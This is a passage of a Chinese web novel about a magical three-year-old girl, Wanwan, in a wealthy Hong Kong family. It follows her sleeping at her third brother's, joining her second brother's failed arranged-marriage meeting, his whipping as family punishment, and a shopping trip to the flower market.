“那你自己穿？”黎墨郢问道。 小婉婉脑瓜儿点了点，自信的弯起唇角：“当然啦，我可是个独立的宝宝。” “好吧。”黎墨郢把衣服丢给她，转身出了屋子。 客厅里，黎老夫人因为长时间保持一个姿势睡觉，导致经络淤堵，大夫给她按摩了半天也没有缓解，说需要好几天才能恢复，正坐在椅子上唉声叹气。 “阿奶怎么了？”黎墨郢上前关心。 黎老夫人瞪了他一眼：“还不是因为你！这么大人睡个觉都不老实，差点把我挤到墙缝里头去！” 黎墨郢嘴角抽了抽，为自己辩解：“我说过带婉婉去我那儿睡，是您不同意。” “我那还不是不放心你们，哎呦！”说着话，老夫人不小心劲儿使大，抻着了伤处，疼得满脸涨红。 恰好这时小婉婉穿好了小衣服，从屋子里跑出来，看见老夫人脸色不好，也跑过来关心。 “阿奶，你怎么了？” 老夫人一见她，立刻变了脸，委屈的皱着眉。 “婉婉，阿奶腰闪着了，恐怕明天不能带你去花鸟市场，你别生气好不好？等阿奶好点儿了再带你去。” “婉婉不生气，阿奶哪里疼，我给你呼呼就好了。”小婉婉小脸儿上挂着真诚。 黎老夫人并没抱什么期待，只当是哄孩子玩儿，艰难的把腰侧过来，指着疼痛的地方：“就是这儿，婉婉快点儿给阿奶呼呼。” “好的。”小婉婉翘着脚，撅起小嘴，在老夫人疼痛的地方吹了两下。 让老夫人没想到的是，伴随着婉婉轻轻吹气的动作，她伤处的疼痛似乎被吹跑了一般，瞬间变得轻松起来。 “诶？真的好了？” 黎老夫人还特意扭了扭身体，确定活动不再受到限制，从椅子上站起来，惊喜的拉住小婉婉说道：“阿奶真的不疼了，我们婉婉真厉害！” 对于小婉婉神奇的能力，黎老夫人虽然亲眼见过，却还是第一次真切的体验。 而小婉婉则眨着奶萌萌的大眼睛问：“那我们明天还能去花鸟市场吗？” “去，一定去！”黎老夫人如获至宝一般，把小婉婉抱在怀里亲了两口。 看得旁边的黎墨郢洁癖症发作，无奈的用手抵住眉心。 “我先回去了，晚上过来接她。” 黎老夫人望着他匆匆的背影，不用猜就知道他心里在想什么。 “臭小子，不是让我给你喂饭的时候了，还敢嫌弃我！” 她的话引得小婉婉好奇询问：“阿奶也给三哥哥喂过饭饭么？” “当然，你那几个哥哥小时候，我都喂过饭。” 说到这里，黎老夫人心中又是一阵感慨。 一眨眼，孙子们都长大了，他们两个老东西也到了半截身子入土的年纪，本来以为能陪伴子孙们的时间不多，可是婉婉的到来，让他们再次享受到儿孙绕膝的快乐，开始贪恋起了这人世间的美好，想要多活十年，不，二十年都不够！ 因为光是眼前的小人儿，就够她疼的了。 “还是我们婉婉好，能自己吃饭，都不用阿奶喂，对不对呀？” 小婉婉语气特别认真：“嗯，我长大了，已经不需要喂饭了。” …… 傍晚，小婉婉才刚刚吃完饭，黎墨郢就来老夫人这里接人了。 彼时黎墨冰刚被叫过来，说起给他安排相亲的事宜，中途被他打断。 “阿奶，我来接婉婉去我那儿。” 黎墨郢的目光在黎墨冰的苦瓜脸上扫了一眼，就像是没看见一样收了回去。 黎老夫人还是不放心就这么把婉婉交给他，先是叮嘱了一大堆，又让他复述了一遍，才让他把小人儿带走。 黎墨郢抱着婉婉去往东院的路上，小家伙成了一个好奇宝宝，问了他一大堆问题。 “三哥哥，什么是相亲？” 黎墨郢一开始还比较有耐心，知道她是听了阿奶跟二哥的谈话，才提出问题。 便给她简单的做了解释：“就是男人和女人见面，准备成组建一个家庭。” 小婉婉听了他的解释，似乎理解，又好像没有完全理解。 挠了挠头上的呆毛，她又好奇了：“那三哥哥怎么不相亲呢？” 黎墨郢抿着嘴角，觉得她的问题过于愚蠢，便敷衍道：“这是大人的事，你一个小孩子家家少打听。” “什么才算大人？” “年满十八周岁。” “十八周岁是多少岁？”小婉婉还没有上过学堂，数数也只会掰着手指头，磕磕巴巴的从一数到四。 自然很难理解，黎墨郢口中的十八岁的概念…… “等你以后上学就知道了。” “那我几岁上学？” “不知道！” 黎墨郢觉得自己完全在鸡同鸭讲，每当给出一个答案，就会有新的问题出现。 真的好心累！ “三哥哥，你去过花鸟市场吗？”小婉婉简直如同一个小雀儿似的，在他耳边叽喳个不停。 这让向来喜欢安静的黎墨郢实在受不了，猛地停下脚步，低沉威胁：“你再聒噪，我就把你送回去，不带你了。” “好，那婉婉跟阿奶睡。” 不管在哪儿都被宠爱的小婉婉，根本就不怕威胁，或者说，她根本就没有意识到，黎墨郢在威胁她，只当他是不想带她了，才要把她还回去。 黎墨郢气得直磨牙，盯着她天真呆萌的小脸儿，又无可奈何，谁让他需要人家呢？ 黎墨郢抱着小婉婉继续往院子的方向走，没一会儿，小家伙的问题又来了。 “三哥哥不送我找阿奶吗？” “不送，闭嘴，都说了你今晚跟我睡！” “哦，那三哥哥，你到底去过花鸟市场没有？阿奶说那里有很多漂亮花花，都要送给我巴拉巴拉……” 黎墨郢从来不知道，一个三岁多的小奶娃，嘴巴竟然这么能说，简直颠覆了他对小孩子的认知。 终于一口气将她带回屋里，他第一时间找出一块糖果，不经商量就塞进小嘴儿，以为堵上就没那么多话了。 没想到小家伙嘴里吃着他的糖，还自说自话的提醒道：“山锅锅，会觉前七糖记得刷牙，否则小同同费把牙齿七光的。” 第18章 要跟二哥哥一起玩 黎墨郢单手叉腰站在地上，俊脸下沉，仿佛正在面对一个天大的难题。 哦，如果黎墨冰被催相亲是上刀山，那他目前带娃的状况跟下油锅差不多！ 他只不过是想睡一个囫囵觉，却要被一个小奶团子折磨个没完。 他已经很努力的克制自己，别去跟她一个小屁孩一般见识。 但凡她再大一点儿，看他怎么收拾她！ “山锅锅？”小婉婉见他一动不动，歪着小脑瓜儿，叫了一声。 黎墨郢闭了闭眼睛，开门出去找佣人。 好在黎老夫人似乎提前料到他搞不定小家伙，在他离开后，打发了刘妈跟王妈过来，从旁照顾小婉婉的饮食起居。 “你们一个帮她洗澡，另一个去拿她的换洗衣服，还有……生活用品都带过来。” “好的三少爷。” 刘妈跟王妈手脚都很利索，不出一会儿就帮助小婉婉照顾妥当。 另一边，黎墨郢也洗漱完毕，从浴室出来，仿佛灵魂都得到洗礼，神清气爽的推开门房门。 小婉婉本来在床上躺着的，见他进来，立刻轱辘一下坐起来，眨巴着好奇的大眼睛问：“三哥哥，你会讲故事吗？” 也许是下午睡得太饱，小丫头完全没有一点儿要休息的意思。 黎墨郢想到接下来的日子都要饱受这样的折磨，太阳穴突突的疼。 “不会。” “哦，好吧。”小婉婉的脸蛋儿上挂着几分失落，躺下去，笨拙的摊开她的小被子。 这一会儿她忽然有点儿想念大哥哥了，因为大哥哥哄她睡觉的时候，会给她讲故事。 “你要听什么？”黎墨郢发现了王妈带过来的小人书，随手拿起来翻阅。 小婉婉黑漆漆的大眼睛刷地一亮：“我要听白雪公主的故事，三哥哥会讲吗？” 黎墨郢把本子翻到白雪公主的那一页，躺在床上，闻到枕边的小家伙散发出甜甜的奶香，一阵困意侵袭而来。 “从前，有一位国王，他有一个女儿叫白雪……” 小婉婉等着听故事呢，结果三哥哥只讲了两句就没音了，她立刻扭头朝旁边看去。 就见黎墨郢闭上眼睛，对着手里的画画本睡着了。 小婉婉三岁半的人生，第一次体会到了无力感，双手撑着小下巴，老气横秋的叹了口气。 而后她把黎墨郢手里的画画本拿起来，工整的放在枕头旁，又尝试扯开他的被子。 可惜他的被子实在太大了，小婉婉扯了半天都没能扯动，于是只好勉为其难的，将自己的小被子分给他一半盖好。 临睡前，小家伙还像那么一回事儿的，在他黑发上拍了拍。 “三哥哥乖乖睡觉，有我在，大恐龙不敢出来吓唬人了。” …… 是夜。 乌云密集的聚集在半空，黑压压的让人喘不过气。 黎墨冰从老夫人房里出来，仰头看了眼天色，忽而勾起唇角，露出一抹无奈的笑。 其实他早就预料到，哪怕他在长辈面前如何好好表现，也终会有这么一天。 他怪他们的决定吗？ 不。 他只怪命运，明明赋予了太多人遥不可及的东西，却偏偏时刻提醒他，这一切都是虚幻的。 他所做的一切，都不过是在给别人做嫁衣。 伴随着雨滴落下，他漂亮的眼眸里闪烁着某种不甘，最终却都在遮天蔽日的阴云里，被压抑，直到最后一片光晕黯淡，消失得无影无踪。 …… 大雨过后的清晨，小麻雀都站在枝头叽叽喳喳的开起了会。 黎墨郢的院子已经很多年没有这么热闹过，就像是一片死寂的荒地，忽然迎来了生机勃勃的春天。 小婉婉在鸟儿的叫声中睁开眼睛，发现三哥哥还在睡觉，她揉了揉眼睛，自己起来穿好了衣服。 正当她从黎墨郢的脚边爬过去，准备慢悠悠的下地，一只手臂把她捞了回去。 黎墨郢睁开眼睛，黑色的凤眸如同染了墨色，透着几缕慵懒，青春期的嗓音正处在变声的关口，时而清脆如鸟鸣，时而又低沉一点，像琴弦被拨弄时，青涩又蓬勃的震颤。 “上哪儿？” “要上茅厕。” 黎墨郢这才放开手，这些年他第一次睡饱一个完整觉，意犹未尽的放松让他贪恋着枕头，迟迟不愿挪动。 想着外面有刘妈跟王妈照应，便任由她一个人去了。 然而黎墨郢一觉睡得太沉，并不知道昨晚下过大雨，刘妈跟王妈总在这边没有宿舍，不能在外面一直守着，所以下雨之后就离开了。 小婉婉初来他的院子，东张西望了一会儿，也没人给她指路。 她只能遵循着本能，向着老夫人的院子走去，路上经过大大小小的雨坑，她都小心翼翼的绕开，没有弄湿裙摆。 可惜这样一来，本来就对路不太熟悉的小婉婉，很快就迷路了。 小婉婉等了半天也没有等到一个佣人，就在她苦瓜着小脸儿，委屈的快要哭了的时候，一双大手，从后面将她抱了起来。 “小东西，大清早怎么你一个人在这儿？你三哥把你带走都不管的？”黎墨冰皱着眉头问。 他今天起这么早，是因为按照老夫人的要求，去茶馆与人相亲，恰好从这里经过才碰到了她。 “二哥哥！”小婉婉看到黎墨冰的脸，如同见到救星，一把抱住了他的脖子，满是依赖的把小脑瓜贴在他肩膀上，小嘴儿撅得能挂一只油壶。 “婉婉要去茅房，憋不住了。” 黎墨冰挑了挑眉，明白她是找茅房走丢了，于是赶忙带她就近找了一个，将她带到门口。 “你自己可以吗？二哥是男生，不能跟你一起去。” 小婉婉点了点头，倒腾着小短腿跑了进去。 黎墨冰抬手看了眼腕表，时间已经快要来不及，可是这里比较偏僻，除非家里全面进行卫生打扫，平时根本不会有人过来，这么把她丢下根本不行。 所以即便着急，他也耐心的等到小婉婉从茅房出来。 “你要去你三哥那儿，还是找阿奶？”黎墨冰抱起她询问。 小婉婉听到提问，下意识准备回答，可是当她发现黎墨冰今天打扮的特别精致，整个人都香香的，注意力就被分散了，觉得跟他一起玩也挺好的。 “婉婉哪儿都不去，跟二哥哥一起！” 第19章 黎墨冰，你长进了 “你要跟我一起？” 黎墨冰没想到小丫头会在这个时黏上自己！ 机灵的脑子一转，他想到她近日神奇的能力，不仅让爷爷身体康复，还帮大哥躲避了灾祸，就连老三的失眠症都治好了。 莫不是这次，好运降临到自己身上？ “小婉婉，你确定要跟二哥哥一起吗？”黎墨冰又问了一遍。 小婉婉点了点头，反问：“二哥哥要去哪儿？” “二哥要去吃好吃的，你也想吃对不对？” “嗯，婉婉肚肚饿，要吃很多吃好吃的。”小婉婉夸张的比画起来。 黎墨冰漂亮的眼睛里弥漫起精怪的笑儿，就这么抱着小婉婉，一起去了相亲的茶楼。 虽然在家里耽搁了一会儿，但他来得还是比女方早一些。 黎墨冰先点了一些吃的，把小家伙的肚子填饱，也算兑现了承诺。 只见，小婉婉左手拿着糕点，右手里攥着一只大虾，小嘴儿里塞得鼓鼓的，像一只囤食的小仓鼠似的，可爱到冒泡。 黎墨冰掏出手绢，温柔的帮她擦拭小嘴儿上的油渍。 可惜这本该是一幅温馨的画面，在相亲的情况下出现，就显得有些不合时宜了。 “黎先生，你身边的小朋友是……”过来相亲的刘小姐好奇的问，并没有第一时间落座。 黎墨冰精致的脸上挂着儒雅得体的笑，站起来，绅士的为她拉开座椅：“您是刘小姐？请坐吧。” 刘小姐试探着坐了下来，小婉婉小嘴儿又吃的油乎乎的，不忘礼貌的和客人打招呼：“铁铁好，我是婉婉。” “婉婉，不能叫姐姐，要叫阿姨。”黎墨冰在刘小姐看不见的方位，脸上挂着精坏。 心里腹诽，这位刘小姐说是二十六岁，可实际看起来，二十七八都不止！ 若是虚报了岁数，恐怕三十岁都有了。 黎墨冰今年也才十九，就算阿爷和阿奶想给他找个门当户对的千金小姐，也不至于找个差这么多的！ 而小婉婉并没有多想，只知道在外面要听二哥哥的话，他让叫阿姨，她就改了口，甜甜的叫了一声：“阿姨好。” 刘小姐却并没有回应，反而不高兴的板起脸，上来就质问：“黎先生，这个孩子跟你到底是什么关系？” 黎墨冰看着对方冷下来的脸，简直把小婉婉当成救星，幸亏今天把她带来，否则，他都不知道该怎么应付。 “呃，这个嘛……刘小姐应该知道，前段时间我跟我父亲还有我大哥经常去内陆，缘分这个东西，它就是很奇妙，我……” “所以这个孩子是你在内陆的私生女？”黎墨冰的话还没说完，女人突然起身，妆容精致的脸愤怒交加：“黎墨冰，你出来相亲还带私生女，把我刘家当成什么？” 黎墨冰见自己的话被误会，挑了挑眉，慢悠悠的说道：“刘小姐不要激动，你听我把话说完。” “我跟你没什么好说的！” 哗！ 刘小姐端起茶杯，迎着他漂亮的面孔浇下去，转身离开，高跟鞋在地上发节奏规律的抗议。 黎墨冰用手擦掉脸上的水，嘲弄的嗤笑了一声。 由于一切发生的太过突然，旁边正在吃着早饭的小婉婉都给看呆了，小嘴儿张成了O字型，反应过来，她第一时间拿起餐巾纸，帮黎墨冰擦脸。 “二哥哥，阿姨不讲礼貌，是坏蛋！” 黎墨冰脸上挂着笑，享受着小婉婉给他擦脸，浑身的汗毛孔都似乎释放着轻松跟愉悦。 “就是，二哥这么优秀她都瞧不上，活该嫁不出去！” 黎墨冰等到小婉婉吃饱喝足，怕家里发现小婉婉不见了，又像上一次那么兴师动众的找人，便赶忙带她回去。 总结这次相亲，除去往返路上用掉了一些时间，他跟刘小姐见面才总共说了不到十句话，充其量就是带婉婉出去下了顿馆子就回去了，是以即便长辈们发现婉婉不在家里，也不至于慌张。 然而让黎墨冰没想到的是，当他抱着婉婉回到老夫人院子，媒人那边有消息传来。 二老已经知道了他用婉婉冒充私生女，气走相亲对象刘小姐的经过，就在主院里等着他呢。 “黎墨冰，你长进咗啦，叫你去相亲仲将人激走，边个畀咁大嘅胆子？” 黎老爷一见到他，气得站起身大喝，本就洪亮的嗓门儿，惊得树上的鸟都飞走了。 黎老夫人看着黎墨冰怀里的小婉婉，起身制止道：“唔好咁大声，惊亲婉婉啊。” 说着，老夫人也瞪了黎墨冰一眼：“你阿爷讲得冇错，后生仔梗系要有后生仔嘅样子，阿冰仔，你叫我点帮你讲说话啊？” “系佢自己误会，同我有咩关系？”黎墨冰仗着小婉婉在他怀里，老爷夫人不敢拿他怎么样，斗胆敢犟嘴。 黎老爷胸口气得剧烈起伏，“你仲敢顶嘴？” 音落，他转身走到墙角，从红木柜子中抽出了一截三尺长鞭。 黎老夫人急得直拍大腿，冲过去按住他的手腕：“老头子，老头子！使唔使咁严重啊！” 黎老爷只对黎墨郢命令：“阿郢，你把婉婉抱走。” 黎墨郢见阿爷请出了家法，知道这一次是真的动怒，只好把想要求情的念头压了下去，等长辈消了气再说。 “把婉婉给我。”黎墨郢伸出手。 黎墨冰知道事情已经发展到覆水难收，不过依然不后悔，在小婉婉懵懂的眼神里，将她交给黎墨郢。 “二哥哥？”小婉婉感受到了大家情绪的波动，不太放心的看着黎墨冰。 黎墨冰则对她勾唇笑了笑，状作轻松的揉了揉她头上的小揪揪。 “婉婉先跟三哥去玩，二哥晚点儿就去陪你。” 黎墨郢深深的看了他一眼，不等婉婉答应，就将她抱了出去。 随着黎墨郢带着小婉婉离开，黎老爷挣脱了黎老夫人的手。 “今日非要畀你长长记性！自己数着，阿爷打一下你就讲一句‘知错’！” 说罢黎老爷一鞭打在黎墨冰的背上，皮开肉绽。 黎墨冰深深的低着头，紧咬的嘴唇没有了血色，额头密集的堆积起了汗珠，却始终一声不吭。 第20章 当心你的小屁股 “三哥哥，二哥哥没事吧？”小婉婉到底还是不放心黎墨冰的处境，拍着黎墨郢的肩膀询问。 黎墨郢眉角轻轻皱起来，那么长的鞭子打下去，怎么可能没事？ “三哥哥？”小婉婉没有得到回应，继续歪着头追问。 黎墨郢不想回答，拖着她的小屁股，虎起脸吓唬道：“谁让他不听话，挨打也是活该，你以后要是不听话，当心你的小屁股！” 小婉婉一听，赶忙捂住自己的小屁股：“婉婉听话，不打小屁股。” 黎墨冰轻哼了一声，警告：“那你就乖乖闭上嘴，别什么都问。” 小婉婉赶忙又捂住小嘴儿，两颗黑黝黝的大眼睛担忧的看向主院的方向，为二哥哥的屁股捏了把汗。 黎墨郢将她抱回到东院，拿出玩具吸引她的注意力，而后不久，黎老夫人派了王妈过来，通知小婉婉准备一下，要带她去花鸟市场，她就把黎墨冰挨揍的事情给忘了。 “太好喽，去买花花喽，三哥哥要一块儿去吗？”小家伙跑过来问。 黎墨郢捏捏她的小脸蛋，去房间找了一把伞遮阳。 “我不去，你走不动路，谁抱你？” 冷冰冰的说着埋怨的话，黎墨郢身体却诚实的将她抱在怀里，另一只手撑起遮阳伞，挡住天上炙热的太阳，避免皮肤被晒伤。 很快，老夫人带着刘妈过来，听说黎墨郢也要去，考虑到这么多人，一辆车坐不下，就另外又安排了一辆车。 黎老夫人带着黎墨郢和小婉婉坐在一辆车里，上车后，黎墨郢看着老夫人轻松的样子，推测黎墨冰应该被打的不严重。 …… 随着港城经济的不断腾飞，花鸟鱼市场发展的繁荣，差不多形成了完整的产业链，推动着特色经济，还形成了城市的名片。 比如金鱼街、花墟等市场逐渐成为港城的特色地标，同时是城市的文化符号之一，吸引着各地游客前来消费。 黎老太太从车上下来，王妈连忙为她撑开遮阳伞。 后面，黎墨郢怀里抱着小婉婉，也有刘妈为他们撑伞，连带着保镖一行人直奔着花墟街赶去。 走在花墟道上，一家家花店紧密相连，花卉的芬芳弥漫在空气中，黎老太太直接去了常常光顾的那家，店主一见到老主顾，就立马为她介绍新进的花卉品种。 奈何黎老夫人今天不是自己选花，她把小婉婉抱在怀里，指着整个店里的花问她：“婉婉喜欢什么？太奶奶都搬回去给你！” 小婉婉黑黝黝的大眼睛，像是点燃的两盏小灯，直勾勾的盯着木架上的那盆粉白相间的月季。 “阿奶，棉花糖。” 黎老夫人发出咯咯的笑声，让店员把那盆月季搬过来查看。 店主吩咐店员行动，她在发现今天的买主是老夫人怀里的小丫头后，不遗余力的称赞：“您的孙女眼光真好，这是我们店里最稀有的瑞典女王，只有这一盆。” 黎老夫人听见有人称赞孙女，比称赞她自己还要开心。 立刻就决定：“那这盆我们要了！” 随即，黎老夫人又问怀里的小人儿：“婉婉还喜欢哪个？” 小婉婉鼻尖儿嗅了嗅，闻到了很浓郁的花香，寻找到来源后，扬起小手一指：“阿奶，小花花。” 店主和老夫人一起朝着她的手看去，是一盆生长着茂密的细条绿叶，夹杂着粉红小花的盆栽，端庄雅致不同寻常。 店主赶忙介绍：“这是墨兰，每当新年才开花，我们店里这盆是特殊方式培养的花期，而且是品种名贵的达摩，在市面上很难买到的。” “是吗？那这一盆我们也要了！” 接下来，小婉婉指一盆，黎老夫人就买一盆，直到她摇了摇头，说要换下一家时，店主不禁汗颜的看向她怀里的小奶团。 由衷的感慨道：“老夫人，您的孙女儿天赋异禀，把我们店里的稀有品种都挑光了。” “那当然了，我的孙女儿厉害吧！”黎老夫人乐得见牙不见眼，在小婉婉的脸上亲了一口。 要知道在整个黎家，除了她爱伺弄这些花草，连个跟她志同道合的人都没有！ 她一个人能力有限，照顾不了太多，要不然也不会将那么大的花圃荒废掉了。 不过以后就好了，身边儿多了一个跟她一样喜欢花的小人儿，可比那群只知道贪玩的毛头小子强太多！ 黎老夫人兴头上来了，抱着小婉婉一连逛了十几家，直到车子放不下了，才肯罢手。 回家的路上，黎老夫人心情愉快，不由自主的哼起歌来。 小婉婉则玩的有些累了，趴在黎墨郢的胸口，和他一样闭着眼睛，临时补了一觉。 等到了家，黎老夫人的车子刚停下，她就看见吕洁芳的佣人站在主院的门口，顿时，好心情一扫而空。 “姐姐可真有雅兴啊，我听说墨冰被老爷打的皮开肉绽，你还有心情逛花市？” 吕洁芳应该是听见车子声，才走院子里面走出来。 黎老夫人不用问都知道，她是得知黎墨冰被用了家法，特意看笑话来的。 “自是比你这样的俗人强些！”黎老夫人怎么会上她的当？ 她越想看笑话，就越没得看！ “王妈，别醒老三和婉婉，去院子里叫人，先把花搬进去。” 老夫人一声令下，王妈跟刘妈各自开始行动，院子里来来往往十多个人，从两辆车里搬下大概五十盆左右，就连座椅之中的空隙都没放过，摆满了各式花朵。 “呦，你们小心着点儿，姐姐这些花可名贵着呢，比你们这些贱命值钱多了，打翻一盆，倾家荡产你们都赔不起！” 吕洁芳嫉妒老夫人执掌着家里的开销，花钱如流水的出去挥霍，忍不住在一旁阴阳怪气，以此来挑拨她在家庭之中的威信。 黎老夫人哼笑了一声。 自从老爷病后，她一门心思稳定人心，甚少有心情理会二房那边的情况，去和她斤斤计较。 倒让吕洁芳觉得可以骑在自己头上了？ “不过就是几盆花而已，洁芳，你好歹也是我黎家姨太太，不要张口闭口就是什么倾家荡产，显得你多穷酸小气！” 第21章 院子里闹鬼？ “我只是体谅孩子们赚钱不容易，怎么到姐姐口中，就成了穷酸小气？也是，姐姐这些年铺张浪费早就成为习惯，自然不将这点开销放在眼里。”吕洁芳不甘示弱的争论道。 可惜她即便再争，在叱咤了半生的女主人看来，也是强撑罢了。 黎老夫人笑着摇了摇头。 “洁芳，你体谅你的孩子没错，毕竟他们能力有限，没能给你太多底气，我的孩子勉强能为我争口气，买几盆花而已，败不穷他们。” 吕洁芳最后是绿着脸走的。 黎老夫人望着她负气远走的背影，霎时周身被冷意覆盖。 “有脾气除了会在家里使，若真的有本事，去外面豪横！” 佣人们将所有花转移到院子里，黎老夫人见小婉婉还睡着，于是只把呼呼大睡的黎墨郢给喊起来，让他抱着回房里睡。 黎老夫人指挥佣人，将原来那些花往园子里转移一些，留下足够的空间，给这些名贵的花种，日后她要亲自照顾。 …… 吕洁芳回到院子里，便埋怨起自己的儿女们不争气，一辈子都没能让她在千雪面前抬起头。 这时，黎立正的二姨太孙雪莉过来给她请安，正好听见她的咒骂，眼睛一转，神色内敛的走了进来。 “妈，你怎么了，脸色这么差？” 吕洁芳正需要出气筒，见她送上门来，黑着脸喝斥：“还能因为什么？我整天要为阿正跟孩子们操心，像你一样养尊处优，只知道吃和睡！” 孙雪莉被婆婆骂的一噎，她不用猜也知道，定然是在大婆婆那里受了气，才跟她耍威风的。 她嗓子一梗，面上便挂起了委屈。 “妈心情不顺我理解，可也不能把我说的一无是处，若是您能在老爷面前为我们争得一席地位，阿正也不至于到现在还只有一个小公司…… 老爷明明那么喜欢女孩儿，宁可抱着大哥五房从内陆带来的马骝女当宝贝，也不愿意多看我们阿舒一眼！” 孙雪莉这话只差明着嫌弃吕洁芳在黎家没话语权，才拖累了黎立正的发展。 吕洁芳被气的大喘气，正要骂上她两句，孙雪莉生的黎墨舒气冲冲的跑进来。 “阿奶，我听说大奶奶带那个马骝女去花墟，买了很多名花回来，她到底凭什么被大奶奶那么看重！” 黎墨舒今年已经十六岁，按理应该开窍，多花一些心思在个人的学习和发展上。 奈何这些年在孙雪莉的影响下，只关注眼前的好处。 黎老夫人的亲孙子们地位压她一头就算了，区区一个内陆来的马骝女，也想超过她？ “你说那些花，是她给那个野丫头买的？”吕洁芳这才明白，孙雪莉为什么埋怨她了。 原来是在拿她和千雪做比较，觉得她没有对墨舒做到位。 “阿舒，区区几盆花而已，你不是不知道阿奶花粉过敏，若不然，也给你盖一个花圃。但凡你喜欢旁的东西，阿奶都给你了不是？” 经过吕洁芳的安抚，黎墨舒的气性才小了很多。 不过她仍然撅着嘴，拉着她的手撒娇：“阿奶，我马厩那只马成色不好，像换一只纯血宝马，您之前答应过我的。” 吕洁芳既心疼这个唯一的孙女儿，又不想被小看，于是打肿脸充胖子。 “你去马场挑选，喜欢哪只，阿奶给你买！” 黎墨舒一下开心了，道了声：“谢谢阿奶！” 随后拉着孙雪莉，欢欢喜喜的走了。 被迫大出血的吕洁芳则满心郁闷。 想到这一切都因为大房为了宠那么马骝女引起，本着她不痛快，谁都别痛快的阴暗想法，脑海浮现了一个计谋。 …… “开花啦，婉婉，你二哥哥屁股开花啦！” “可惜了那么白的屁股，都要被打成三瓣儿了，我都不忍心看！” “咕噜噜，幸亏没有打到那张漂亮的脸上，他长的那么帅，如果有机会化人形，我一定嫁给他。” 房沿上，一只小白鸽合十翅膀遮住半张脸，做出害羞的表情。 小婉婉站在门口眨巴眨巴大眼睛，一溜烟的跑回屋里去了。 黎墨郢刚睡了一个饱饱的午觉，贪婪的靠着枕头不愿起床。 小婉婉跑过去摇晃他胳膊：“三哥哥快起床，二哥哥屁股都开花啦！” 黎墨郢眉心微皱，看着她问：“谁告诉你他屁股开花？” “它们。” 小婉婉向窗口看去，然而，那些来给她报信的鸟儿在黎墨郢醒开口说话时，就扑棱翅膀飞走了。 “谁？” 黎墨郢坐起来一看，窗外哪里有人？ “嗯……”小婉婉挠了挠头上的呆毛，然后掰开手指头，给他一个一个说名字：“小红，小黄，小白还有小灰灰。” 黎墨郢：“……” 他院子里闹鬼？ 随即他想起看过的话本上好像是说过，小孩子的眼睛，能看到大人看不见的东西。 小豆丁又一直神乎其神，确实保不准能看见脏东西…… “三哥哥，快起床，我们去看二哥哥。” 小婉婉没有发现黎墨郢的异样，只摇晃他胳膊催促。 黎墨郢的脑海却被各种青面獠牙的鬼怪形象占据，而且配合她的描绘，把鬼怪想添加上各种颜色…… 恶寒！ “你把话给我说清楚，刚才窗外到底有什么！” 小婉婉萌萌哒眨眼：“有鸟鸟呀。” 黎墨郢：“……” …… 当佣人告知黎墨冰，黎墨郢带着小婉婉过来探望他的伤势，他正趴在被窝里，疼得呲牙咧嘴。 闻言，他赶忙让佣人用被子把伤处盖上，不想让他们看见自己的狼狈。 “可是二少爷，医生叮嘱过我们，您的伤口不能捂着。” 黎墨冰哪里管得了那么多？ 他艰难的喘了口气，声音嘶哑道：“让你盖你就盖，别废话！” 佣人只好按照他的话做，当被子捂上来的一瞬间，黎墨冰疼的眼眶都泛起红血丝，咬牙切齿的低咒：“这个老三，自己来就算了，还把小妹带来，绝对是故意的！” 随着房门打开，佣人退出，黎墨郢领着小婉婉进来。 小丫头看见趴在床上的黎墨冰，放开了黎墨郢的手，满脸担心的跑了过去。 “二哥哥，你屁屁开花了吗？婉婉来帮你呼呼，就不疼了。” 第22章 老三，你行行好 黎墨冰听见小婉婉说他屁股开花，还要帮他呼呼，饶是脸皮再厚，一张俊脸也红透了。 “别！”他用手紧紧的压住被子，瞪向一旁的黎墨郢。 “老三，赶紧把小妹抱走！” 黎墨郢脸上难得的噙着笑，虽然，笑得有点冷，但属实不多见。 “小妹也是关心你，二哥何必见外？” 试想一下，平时黎墨冰总是想尽各种法子捉弄他，现在好不容易有机会，黎墨郢怎么可能放过报复的机会？ 要是按照他的话做，黎墨郢才是不正常。 黎墨冰的伤口本来就痛，此刻加上紧张，疼的他好看的五官都快要扭曲在一起。 艰难的开口：“当二哥求你了，老三，你行行好。” “声音太小，我听不见。”黎墨郢掏了掏耳朵，直接坐在椅子上纹丝不动，明摆着，要将报复进行到底。 黎墨冰翻了个白眼，瞬间失去所有力气和手段…… 缓了一口气，他改为跟小婉婉商量。 “小妹二哥不疼，不用呼呼，你去找三哥玩，乖。” “可是你都出汗了呢。”小婉婉用小手指摸摸他高挺的鼻梁，刮下一片亮晶晶的水珠。 于是，她体谅的说道：“不如帮你把被子掀起来？” “诶……别掀！”黎墨冰急的差点儿拱起来。 就是这么一下，他疼的到抽一口凉气，眼眶里弥漫着血丝。 紧咬着牙冠挺住，他向黎墨郢求救：“老三，你快把小妹抱走，别让伤口吓到她。” 黎墨郢觉得他的话也有道理，这才站起来，赶在小婉婉掀被子之前，将她抱起来。 “别管他了，死要面子活受罪。” 黎墨冰松了一口气，随即，他嗤笑。 “也是，就当赎罪吧，老三，当年那件事……是我欠你的。” 说着，黎墨冰的神色忽然黯淡下来，漂亮的桃花眼底，蒙着一层浅浅的荫翳。 “老三，对不起。” 黎墨郢神色微愣，定定的看着躺在床上的黎墨冰。 原来这么多年，他一直对自己心存愧疚吗？ 黎墨郢怀里的小婉婉不明白他们在说什么，来回扭转小脑袋瓜，愣头愣脑的来回看着两位哥哥。 直到黎墨郢声色低沉的开口，她看见，黎墨冰的神色在大悲和大喜之中来回切换，直至最后，定格为快要哭了的神色。 黎墨郢说：“做错事的人是大妈，在我心里，你一直都是二哥。” “黎墨冰，你不欠我。” 黎墨郢说完这番话，在桌上留下一瓶伤药，就抱着小婉婉离开了。 也算是在妹妹面前，给他这个当二哥的留点儿体面。 小婉婉趴在他肩头，望着黎墨冰的神色，小眉头轻轻皱了起来。 “三哥哥，二哥哥屁屁痛的都哭了呢。” 黎墨郢被她天真的话逗得勾起唇角，轻轻的上扬，连他自己都没察觉。 “那也不行，你还想看他光屁股，羞不羞？” 小婉婉发呆了三秒，反应过来后，小手捂住大眼睛。 “羞羞哒，那我不看了。” 黎墨郢对她的表现很满意，摸摸她的小脑瓜：“这才对！” “可是三哥哥，二哥哥屁股真的会开花吗？开得什么颜色？” 黎墨郢满头黑线，在她头上轻轻敲了一下。 “又贫嘴，我也没看，我怎么知道！” 小婉婉捂着被敲的小脑门儿，心想：也许是像阿奶买的花花一样，开的五颜六色。 …… 自从老夫人给小婉婉买了那些名贵的花回来，她就开始亲自照料，每天给它们浇水施肥。 除此以外，她还特意让人在院子里搭了个可拆卸的凉棚，早上起来光照不强的时候，就把棚顶掀起来，等到中午光照充足，就遮起来避免把花晒伤。 